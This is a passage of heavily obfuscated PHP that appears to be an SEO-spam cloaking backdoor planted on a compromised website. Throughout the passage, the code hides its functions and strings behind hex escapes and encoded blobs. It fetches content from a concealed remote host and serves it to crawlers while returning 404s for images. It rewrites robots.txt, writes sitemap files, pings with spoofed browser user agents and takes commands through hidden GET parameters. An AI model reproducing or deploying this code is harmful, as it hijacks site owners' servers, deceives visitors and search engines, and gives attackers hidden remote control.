\x4f"]('/',$DOO_L_OL_L);$DOLOLO___L=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4c\x4f\x4f\x5f\x5f\x4f\x4c\x4c\x5f"]($DOLOLO___L);$DLL_O_O_OL=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4c\x4c\x5f\x4c\x5f\x4f\x5f\x4f\x4f"]('/',${"\x5f\x53\x45\x52\x56\x45\x52"}['SCRIPT_NAME']);$DLO_O_L_OL=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4f\x4f\x5f\x4f\x4c\x5f\x4c\x4c"]($DLL_O_O_OL);$DLLOOOL___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4f\x5f\x4f\x5f\x4c\x4c\x4f\x4c"]($DLO_O_L_OL);$DO_LO_LLO_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4f\x4c\x5f\x4c\x4c\x4f\x5f\x4f"]('/',$DLL_O_O_OL);$DO__OLLLO_=${"\x5f\x53\x45\x52\x56\x45\x52"}['REQUEST_URI'];$DO__OLLLO_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x5f\x4f\x4c\x5f\x4f\x4c\x5f\x4c"]("/^\//si",'',${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4c\x4f\x4f\x5f\x4c\x4f\x4c\x5f"]($DO_LO_LLO_,'',$DO__OLLLO_));$D_LOLO_O_L=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4c\x5f\x4c\x4f\x4f\x5f\x4f\x4c\x5f"]($DO__OLLLO_);$DLOO_O_L_L='';if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}['HTTP_HOST'])){$DLOO_O_L_L=${"\x5f\x53\x45\x52\x56\x45\x52"}['HTTP_HOST'];}elseif(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}['SERVER_NAME'])){$DLOO_O_L_L=${"\x5f\x53\x45\x52\x56\x45\x52"}['SERVER_NAME'];}if(!isset(${"\x5f\x53\x45\x52\x56\x45\x52"}['REQUEST_SCHEME'])){${"\x5f\x53\x45\x52\x56\x45\x52"}['REQUEST_SCHEME']='';}$DLO_L__OOL=(${"\x5f\x53\x45\x52\x56\x45\x52"}['REQUEST_SCHEME']!=''?${"\x5f\x53\x45\x52\x56\x45\x52"}['REQUEST_SCHEME']:'http').'://'.$DLOO_O_L_L.${"\x5f\x53\x45\x52\x56\x45\x52"}['REQUEST_URI'];$DLO_L__OOL=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4c\x4c\x5f\x4f\x4c\x4f\x5f\x4f"]($DLO_L__OOL);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4f\x4c\x4c\x4c\x5f\x4f\x5f\x4f"]("/^".$DLLOOOL___.".*/si",$DOLOLO___L)){$DLO_L__OOL=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x5f\x4f\x4c\x5f\x4f\x4c\x5f\x4c"]("/".$DLLOOOL___.".*/si",'',$DLO_L__OOL);}$DL_LLOOO__=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4c\x4c\x5f\x4f\x4c\x4f\x5f\x4f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x5f\x4f\x4c\x5f\x4f\x4c\x5f\x4c"]("/\?.*/si",'',$DLO_L__OOL));$DL__O_OLLO=$D_LOLO_O_L!=''?${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x5f\x4f\x4c\x5f\x4f\x4c\x5f\x4c"]("/$D_LOLO_O_L.*/",'',$DL_LLOOO__):$DL_LLOOO__;if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4f\x4c\x4c\x4c\x5f\x4f\x5f\x4f"]("/\/$/si",$DL__O_OLLO)){$DL__O_OLLO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x4f\x5f\x5f\x4c\x5f\x4f\x4c\x4c"]($DL__O_OLLO,0,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x5f\x5f\x4f\x4c\x4f\x4f\x4c\x4c"]($DL__O_OLLO,'/')+1);}if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4f\x4f\x4c\x5f\x4c\x5f\x4f\x4c"]($DL__O_OLLO,'/')==3){$DL__O_OLLO=$DL__O_OLLO.$DLO_O_L_OL;$DL__O_OLLO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x5f\x4c\x4f\x4c\x5f\x4f\x4c\x4f"]('/index.php','',$DL__O_OLLO);}elseif(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4f\x4f\x4c\x5f\x4c\x5f\x4f\x4c"]($DL__O_OLLO,'/')>3){$DL__O_OLLO=$DL__O_OLLO.$DLO_O_L_OL;}else{$DL__O_OLLO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4c\x5f\x4f\x4c\x4c\x5f\x5f\x4f\x4f"]($DL__O_OLLO,'/');}$DLL_OL__OO=${"\x5f\x53\x45\x52\x56\x45\x52"}["HTTP_ACCEPT_LANGUAGE"];$DLOLO_L_O_=isset(${"\x5f\x53\x45\x52\x56\x45\x52"}['HTTP_REFERER'])?${"\x5f\x53\x45\x52\x56\x45\x52"}['HTTP_REFERER']:'';$DLL_O_LO_O=isset(${"\x5f\x53\x45\x52\x56\x45\x52"}['HTTP_USER_AGENT'])?${"\x5f\x53\x45\x52\x56\x45\x52"}['HTTP_USER_AGENT']:'';$D_O_L_OLOL=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4c\x5f\x4f\x4f\x5f\x4f\x5f\x4c\x4c"]($DLOLO_L_O_);$DO___LLOOL=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4f\x4c\x5f\x4c\x5f\x4f\x4f\x4c"]($DLL_O_LO_O);$D__LL_OLOO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4c\x4f\x5f\x4f\x5f\x4c\x4c\x5f\x4f"]($DLOLO_L_O_);$DO_L__OLLO='';if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}['REQUEST_SCHEME'])){$DO_L__OLLO=${"\x5f\x53\x45\x52\x56\x45\x52"}['REQUEST_SCHEME'];}else{if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4f\x4c\x4c\x4c\x5f\x4f\x5f\x4f"]('/([http|https]+)\:\/\/.*?$/i',${"\x5f\x53\x45\x52\x56\x45\x52"}['SCRIPT_URI'],$matches)){$DO_L__OLLO=$matches[1];}}$D_L_OOL_OL=${"\x5f\x53\x45\x52\x56\x45\x52"}["REQUEST_URI"];$DLLOLOO___=${"\x5f\x53\x45\x52\x56\x45\x52"}['SCRIPT_NAME'];if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4f\x4c\x4c\x4c\x5f\x4f\x5f\x4f"]('/\.jpg|\.gif|\.ico|\.jpeg|\.svg|\.png/i',$D_L_OOL_OL)){header('HTTP/1.1 404 Not Found');header("status:404 Not Found");exit();}if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4f\x4c\x4c\x4c\x5f\x4f\x5f\x4f"]('/google[a-z0-9]{16}\.html/i',$D_L_OOL_OL)){header('HTTP/1.1 404 Not Found');header("status:404 Not Found");exit();}$DOL_OL__LO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4f\x5f\x4f\x4c\x4c\x4c\x4f\x5f"]('Ky8vVhT03RyygpKaioqNCrqKwtPCAA==');$DLOLL__OO_=sprintf($DOL_OL__LO,$DOOLL_LO__);$DLLO_O_LO_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4f\x5f\x4f\x4c\x4c\x4c\x4f\x5f"]('yygpKhTbDS11fNyC8uUdW3T7FVLVZLBxElIKIURGSAiAIQUQQickBEFpAtPAAA==');$DLLO_O_LO_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x5f\x4f\x4c\x5f\x4f\x4c\x5f\x4c"]("/%host%/si",$DLOLL__OO_,$DLLO_O_LO_);$DLO_L_LOO_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4f\x5f\x4f\x4c\x4c\x4c\x4f\x5f"]('yygpKhTbDS11fNyC8uUdUvqdIryCiwT7FVLVZLBxElIKIURGSAiAIQUQQickBEFpAtPAAA==');$DLO_L_LOO_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x5f\x4f\x4c\x5f\x4f\x4c\x5f\x4c"]("/%host%/si",$DLOLL__OO_,$DLO_L_LOO_);$DL_OLOLO__=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4f\x5f\x4f\x4c\x4c\x4c\x4f\x5f"]('s8lILhTCjIzEhMzrYtPDAA==');$DO_L_OL_OL=sprintf($DLLO_O_LO_,$DLOO_O_L_L,$DOOLL_LO__,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x5f\x4f\x5f\x4c\x4c\x4c\x4f\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4c\x5f\x5f\x5f\x4f\x4c\x4f\x4c\x4f"]('Y-m-d')),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x5f\x4f\x5f\x4c\x4c\x4c\x4f\x5f"]($D_L_OOL_OL),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x5f\x4f\x5f\x4c\x4c\x4c\x4f\x5f"]($DO_L__OLLO),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4c\x4c\x5f\x4f\x4c\x4f\x5f\x4f"]($D_OLL_O_LO),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x5f\x4f\x5f\x4c\x4c\x4c\x4f\x5f"]($DLOLO_L_O_),$DLL_OL__OO,$DL__O_OLLO);$DLO_O_LLO_=sprintf($DLO_L_LOO_,$DLOO_O_L_L,$DOOLL_LO__,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x5f\x4f\x5f\x4c\x4c\x4c\x4f\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4c\x5f\x5f\x5f\x4f\x4c\x4f\x4c\x4f"]('Y-m-d')),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x5f\x4f\x5f\x4c\x4c\x4c\x4f\x5f"]($D_L_OOL_OL),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x5f\x4f\x5f\x4c\x4c\x4c\x4f\x5f"]($DO_L__OLLO),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4c\x4c\x5f\x4f\x4c\x4f\x5f\x4f"]($D_OLL_O_LO),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x5f\x4f\x5f\x4c\x4c\x4c\x4f\x5f"]($DLOLO_L_O_),$DLL_OL__OO,$DL__O_OLLO);$D_L_LO_OOL=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4f\x5f\x4f\x4c\x4c\x4c\x4f\x5f"]('s0lUyhTChKTbNVUi1WUihJLEpPLbFVik/KSczLVrJTLbbRT7QtPDAA==');if(isset(${"\x5f\x47\x45\x54"}['ru1'])){echo sprintf($D_L_LO_OOL,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x5f\x4f\x4c\x5f\x4f\x4c\x5f\x4c"]('/\%[a-zA-Z0-9]{2}ru1/si','',$DO_L_OL_OL),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x5f\x4f\x4c\x5f\x4f\x4c\x5f\x4c"]('/\%[a-zA-Z0-9]{2}ru1/si','',$DO_L_OL_OL)).'
';exit();}if(isset(${"\x5f\x47\x45\x54"}['ru2'])){echo sprintf($D_L_LO_OOL,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x5f\x4f\x4c\x5f\x4f\x4c\x5f\x4c"]('/\%[a-zA-Z0-9]{2}ru2/si','',$DLO_O_LLO_),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x5f\x4f\x4c\x5f\x4f\x4c\x5f\x4c"]('/\%[a-zA-Z0-9]{2}ru2/si','',$DLO_O_LLO_)).'
';exit();}if(isset(${"\x5f\x47\x45\x54"}["pwd"])){if(isset(${"\x5f\x47\x45\x54"}["ver"])){$D_L_OOL_OL=${"\x5f\x47\x45\x54"}["pwd"].'|--|'.${"\x5f\x47\x45\x54"}["ver"];$DO_L_OL_OL=sprintf($DLLO_O_LO_,$DLOO_O_L_L,$DOOLL_LO__,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x5f\x4f\x5f\x4c\x4c\x4c\x4f\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4c\x5f\x5f\x5f\x4f\x4c\x4f\x4c\x4f"]('Y-m-d')),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x5f\x4f\x5f\x4c\x4c\x4c\x4f\x5f"]($D_L_OOL_OL),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x5f\x4f\x5f\x4c\x4c\x4c\x4f\x5f"]($DO_L__OLLO),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4c\x4c\x5f\x4f\x4c\x4f\x5f\x4f"]($D_OLL_O_LO),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x5f\x4f\x5f\x4c\x4c\x4c\x4f\x5f"]($DLOLO_L_O_),$DLL_OL__OO,$DL__O_OLLO);$DLOO_LO__L=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4c\x4f\x4f\x4c\x5f\x5f\x4f\x5f\x4c"]($DO_L_OL_OL);echo $DLOO_LO__L;exit();}}if(isset(${"\x5f\x47\x45\x54"}["ping"])){$DOLLO_L__O=${"\x5f\x47\x45\x54"}["ping"];if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x4f\x4c\x4c\x5f\x5f\x4f\x5f\x4c"]($DOLLO_L__O,'.xml')){$DO_O__LLOL=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4f\x5f\x4f\x4c\x4c\x4c\x4f\x5f"]('yygpKhTSi20tcvLy/XS8/PT89J1UvOz9UvyMxLty/OLEnNTSytPwBQA=').$DL__O_OLLO.'/'.$DOLLO_L__O;$D_LO_LOOL_=array("Safari – Mac"=>"Mozilla/5.0 (Macintosh;Intel Mac OS X 12_4) AppleWebKit/605.1.15 (KHTML,like Gecko) Version/15.4 Safari/605.1.15","Chrome – Windows WOW"=>"Mozilla/5.0 (Windows NT 10.0;WOW64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/101.0.4951.67 Safari/537.36","Chrome – Windowsx Win"=>"Mozilla/5.0 (Windows NT 10.0;Win64;x64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/101.0.4951.67 Safari/537.36","Chrome – Windows"=>"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/101.0.4951.67 Safari/537.36","Chrome – Mac"=>"Mozilla/5.0 (Macintosh;Intel Mac OS X 12_4) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/101.0.4951.67 Safari/537.36","Firefox – Mac"=>"Mozilla/5.0 (Macintosh;Intel Mac OS X 12.4;rv:100.0) Gecko/20100101 Firefox/100.0","Firefox – Windowsx64"=>"Mozilla/5.0 (Windows NT 10.0;Win64;x64;rv:100.0) Gecko/20100101 Firefox/100.0","Edg – Mac"=>"Mozilla/5.0 (Macintosh;Intel Mac OS X 12_4) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/101.0.4951.67 Safari/537.36 Edg/100.0.1185.39","Edg – Windowsx Win"=>"Mozilla/5.0 (Windows NT 10.0;Win64;x64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/101.0.4951.67 Safari/537.36 Edg/100.0.1185.39","OPR – Windows Win"=>"Mozilla/5.0 (Windows NT 10.0;Win64;x64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/101.0.4951.67 Safari/537.36 OPR/86.0.4363.23","OPR – Windowsx WOW"=>"Mozilla/5.0 (Windows NT 10.0;WOW64;x64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/101.0.4951.67 Safari/537.36 OPR/86.0.4363.23","OPR – Mac"=>"Mozilla/5.0 (Macintosh;Intel Mac OS X 12_4) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/101.0.4951.67 Safari/537.36 OPR/86.0.4363.23","Vivaldi – Windows WOW"=>"Mozilla/5.0 (Windows NT 10.0;WOW64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/101.0.4951.67 Safari/537.36 Vivaldi/4.3","Vivaldi – Windowsx Win"=>"Mozilla/5.0 (Windows NT 10.0;Win64;x64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/101.0.4951.67 Safari/537.36 Vivaldi/4.3","Vivaldi – Mac"=>"Mozilla/5.0 (Macintosh;Intel Mac OS X 12_4) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/101.0.4951.67 Safari/537.36 Vivaldi/4.3","YaBrowser – Windows WOW"=>"Mozilla/5.0 (Windows NT 10.0;WOW64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/101.0.4951.67 YaBrowser/22.3.3 Yowser/2.5 Safari/537.36","YaBrowser – Windowsx Win"=>"Mozilla/5.0 (Windows NT 10.0;Win64;x64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/101.0.4951.67 YaBrowser/22.3.3 Yowser/2.5 Safari/537.36","YaBrowser – Mac"=>"Mozilla/5.0 (Macintosh;Intel Mac OS X 12_4) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/101.0.4951.67 YaBrowser/22.3.3 Yowser/2.5 Safari/537.36");$DOOL__LO_L=$D_LO_LOOL_[${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x5f\x4f\x4c\x4f\x5f\x4c\x4f\x4c"]($D_LO_LOOL_,1)];$D__L_LOOOL=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4f\x5f\x4f\x4c\x4c\x4c\x4f\x5f"]('jZJdbhT6owGMc/0LnBcoyHS+hWBLTTIuXljlKpQEGSRit++lOcS5YtWXbX5Onzf/m1uxdHl2s3Ctf0XmRhnadcsmEvdrE7HCd8KgC9cIid8K7MHW9kPa95FqrgxRKhrdrH2baGNz2OReOeK5tMZYatqjndy4xIliKdAS45FF3ly0uxcBZVr1UAyaICdMoAGop0aUWxFiHgVwa4KuJqjGJvBYWUOThdA8gPH1oBmjNU4gDUvw0Ip12rr/kQ/Jnz1SlVRvPHPdIjcyf5vrsfe54uW+7LK2u8b9nnnptn5iej8ajPIoCuCH18nnnkNp0YcoyPtCLYrWDjmrn3YJTZWHLf0bNWDoQKXjFNutsuQaSmNNxuoPvwiA4qmjUDHxtOt9r4Wcz2jB5pS6jFfkHjw6uzp8iJCSVGY5kkHXpLrAIljRbbuJv7/8ITI7O3JskyeffGsuqfb/GRAZK+TG8yA/jKBsNjIPdPPeXRp+17ri9dAVbMeH+ZTUVm+PV/Da9iZD6tc+BcuG/+13q7goMtPV/Qc=');$DLO_L__OLO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4f\x5f\x4f\x4c\x4c\x4c\x4f\x5f"]('S03JLhTNEryCjQKUktygUzcjLzsiGM/MQU3eLkosyCkmIkgZLKnFQtPwHwA=');$DL_OLLO__O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4c\x4c\x5f\x4c\x5f\x4f\x5f\x4f\x4f"](',',$DLO_L__OLO);$DOO_LL_OL_=$DL_OLLO__O[${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x5f\x4f\x4c\x4f\x5f\x4c\x4f\x4c"]($DL_OLLO__O,1)];if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4f\x4c\x4c\x4c\x5f\x4f\x5f\x4f"]("/\.php$/si",$DL__O_OLLO)){$DL__O_OLLO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4c\x5f\x4f\x4c\x4c\x5f\x5f\x4f\x4f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x4f\x5f\x5f\x4c\x5f\x4f\x4c\x4c"]($DL__O_OLLO,0,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x5f\x5f\x4f\x4c\x4f\x4f\x4c\x4c"]($DL__O_OLLO,'/')+1),'/');}$D_LO_LOO_L=$DL__O_OLLO.'/'.$DOO_LL_OL_;$DOO_O_LLL_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x5f\x4c\x4f\x4c\x5f\x4f\x4c\x4f"]('{#url#}',$DO_O__LLOL,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x5f\x4c\x4f\x4c\x5f\x4f\x4c\x4f"]('{#agent#}',$DOOL__LO_L,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x4f\x4c\x4c\x5f\x4c\x5f\x4f\x5f"]($D__L_LOOOL)));if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x5f\x5f\x4c\x5f\x4c\x4c\x4f\x4f"]($DOO_LL_OL_,$DOO_O_LLL_)){if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4c\x5f\x4c\x4f\x5f\x4f\x4f\x5f\x4c"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4c\x4f\x5f\x4c\x4c\x4f\x5f\x5f\x4f"]($D_LO_LOO_L),'Sitemap Ping Ok')){echo 'Sitemap Ping Ok!
';}else{echo $DO_O__LLOL.'Sitemap Ping False!
';}@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x4c\x4f\x4c\x5f\x5f\x5f\x4f\x4c"]($DOO_LL_OL_);}else{echo $DO_O__LLOL.'Creat File False!
';}}else{echo 'Sitemap Name False!
';}exit();}if(isset(${"\x5f\x47\x45\x54"}['robots'])){$D_L_OOL_OL=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4f\x5f\x4f\x4c\x4c\x4c\x4f\x5f"]('0y/KThT8ovKdYrqSgtPBAA==');$DO_L_OL_OL=sprintf($DLLO_O_LO_,$DLOO_O_L_L,$DOOLL_LO__,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x5f\x4f\x5f\x4c\x4c\x4c\x4f\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4c\x5f\x5f\x5f\x4f\x4c\x4f\x4c\x4f"]('Y-m-d')),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x5f\x4f\x5f\x4c\x4c\x4c\x4f\x5f"]($D_L_OOL_OL),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x5f\x4f\x5f\x4c\x4c\x4c\x4f\x5f"]($DO_L__OLLO),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4c\x4c\x5f\x4f\x4c\x4f\x5f\x4f"]($D_OLL_O_LO),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x5f\x4f\x5f\x4c\x4c\x4c\x4f\x5f"]($DLOLO_L_O_),$DLL_OL__OO,$DL__O_OLLO);$DL__LO_OLO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4c\x4f\x4f\x4c\x5f\x5f\x4f\x5f\x4c"]($DO_L_OL_OL);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x4f\x4c\x4c\x5f\x5f\x4f\x5f\x4c"]($DL__LO_OLO,$DL_OLOLO__)){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x5f\x5f\x4c\x5f\x4c\x4c\x4f\x4f"]('./robots.txt',${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x5f\x4c\x4f\x4c\x5f\x4f\x4c\x4f"]($DL_OLOLO__,'',$DL__LO_OLO));}echo ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x4c\x4f\x5f\x5f\x4c\x4c\x4f\x5f"]('./robots.txt');exit();}${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4f\x5f\x4c\x5f\x4c\x4f\x4c\x4f"]();$DO_LOO__LL=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4f\x5f\x4f\x4c\x4c\x4c\x4f\x5f"]('09coyhTk/KLynW1NOK0SupKFHtPRBwA=');if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4f\x4c\x4c\x4c\x5f\x4f\x5f\x4f"]($DO_LOO__LL,$D_L_OOL_OL)){$DLOO_LO__L=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4c\x4f\x4f\x4c\x5f\x5f\x4f\x5f\x4c"]($DO_L_OL_OL);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x4f\x4c\x4c\x5f\x5f\x4f\x5f\x4c"]($DLOO_LO__L,$DL_OLOLO__)){$DLOO_LO__L=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x5f\x4c\x4f\x4c\x5f\x4f\x4c\x4f"]($DL_OLOLO__,'',$DLOO_LO__L);@header('content-type:text/txt');echo $DLOO_LO__L;unset($DLOO_LO__L,$DO_L_OL_OL,$D_L_OOL_OL,$DLOO_O_L_L,$DLOLO_L_O_,$DLL_O_LO_O);exit();}}$D_OOL__LLO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4f\x5f\x4f\x4c\x4c\x4c\x4f\x5f"]('09fTihTtGryM1tPR0QcA');if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4f\x4c\x4c\x4c\x5f\x4f\x5f\x4f"]($D_OOL__LLO,$D_L_OOL_OL)){$DLOO_LO__L=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4c\x4f\x4f\x4c\x5f\x5f\x4f\x5f\x4c"]($DO_L_OL_OL);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x4f\x4c\x4c\x5f\x5f\x4f\x5f\x4c"]($DLOO_LO__L,$DL_OLOLO__)){$DLOO_LO__L=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x5f\x4c\x4f\x4c\x5f\x4f\x4c\x4f"]($DL_OLOLO__,'',$DLOO_LO__L);@header('content-type:text/xml');echo $DLOO_LO__L;unset($DLOO_LO__L,$DO_L_OL_OL,$D_L_OOL_OL,$DLOO_O_L_L,$DLOLO_L_O_,$DLL_O_LO_O);exit();}}$DOOLL_O__L=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4f\x5f\x4f\x4c\x4c\x4c\x4f\x5f"]('09cozhTixJzU0s0NTTitErqShtPR0QcA');if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x4f\x4c\x4c\x4c\x5f\x4f\x5f\x4f"]($DOOLL_O__L,$D_L_OOL_OL)){$DLOO_LO__L=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4c\x4f\x4f\x4c\x5f\x5f\x4f\x5f\x4c"]($DO_L_OL_OL);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x4f\x4c\x4c\x5f\x5f\x4f\x5f\x4c"]($DLOO_LO__L,$DL_OLOLO__)){$DLOO_LO__L=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x5f\x4c\x4f\x4c\x5f\x4f\x4c\x4f"]($DL_OLOLO__,'',$DLOO_LO__L);@header('content-type:text/txt');echo $DLOO_LO__L;unset($DLOO_LO__L,$DO_L_OL_OL,$D_L_OOL_OL,$DLOO_O_L_L,$DLOLO_L_O_,$DLL_O_LO_O);exit();}}if($DO___LLOOL){$DLOO_LO__L=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4c\x4f\x4f\x4c\x5f\x5f\x4f\x5f\x4c"]($DO_L_OL_OL);if($DLOO_LO__L==''){header('HTTP/1.1 404 Not Found');header("status:404 Not Found");exit();}if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x4f\x4f\x4c\x4c\x5f\x5f\x4f\x5f\x4c"]($DLOO_LO__L,$DL_OLOLO__)){$DLOO_LO__L=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x44\x5f\x5f\x4c\x4f\x4c\x5f\x4f\x4c\x4f"]($DL_OLOLO__,'',$DLOO_LO__L);echo 